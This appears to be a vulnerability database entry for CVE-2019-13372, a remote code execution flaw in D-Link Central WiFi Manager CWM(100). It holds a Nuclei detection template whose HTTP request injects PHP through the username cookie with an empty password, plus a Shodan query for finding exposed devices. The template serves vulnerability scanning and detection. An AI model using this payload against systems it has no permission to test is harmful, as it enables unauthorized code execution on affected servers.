CVE-2019-13372: D-Link Central WiFi Manager CWM(100) - Remote Code Execution

日期: 2025-08-01 | 影响软件: D-Link Central WiFi Manager CWM | POC: 已公开

漏洞描述

/web/Lib/Action/IndexAction.class.php in D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6 allows remote attackers to execute arbitrary PHP code via a cookie because a cookie's username field allows eval injection, and an empty password bypasses authentication.

PoC代码[已公开]

id: CVE-2019-13372

info:
  name: D-Link Central WiFi Manager CWM(100) - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    /web/Lib/Action/IndexAction.class.php in D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6 allows remote attackers to execute arbitrary PHP code via a cookie because a cookie's username field allows eval injection, and an empty password bypasses authentication.
  reference:
    - https://github.com/unh3x/unh3x.github.io/blob/master/_posts/2019-02-21-D-link-%28CWM-100%29-Multiple-Vulnerabilities.md
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10117
    - https://unh3x.github.io/2019/02/21/D-link-%28CWM-100%29-Multiple-Vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13372
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-13372
    cwe-id: CWE-94
    epss-score: 0.93075
    epss-percentile: 0.99772
    cpe: cpe:2.3:a:dlink:central_wifimanager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dlink
    product: central_wifimanager
    shodan-query: html:"D-Link Central WiFiManager"
  tags: cve,cve2019,d-link,wifimanager,vkev,vuln

variables:
  string: "{{rand_text_alpha(10)}}"

http:
  - raw:
      - |
        GET /index.php/Index/index HTTP/1.1
        Host: {{Hostname}}
        Cookie: username=',0,"",1,"0")%3becho%20"{{string}}"%3b//";password=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{string}}"
          - "/public/css/"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008e47bb8c3187b3f59a0ecfb226b9a5af73b5ace947bdebf953ebde209dfb4a3d0220464aa0b30be574e3389837f05a2ff6d8d655233153e4b242528f50da67ef94b6:922c64590222798bb761d5b6d8e72950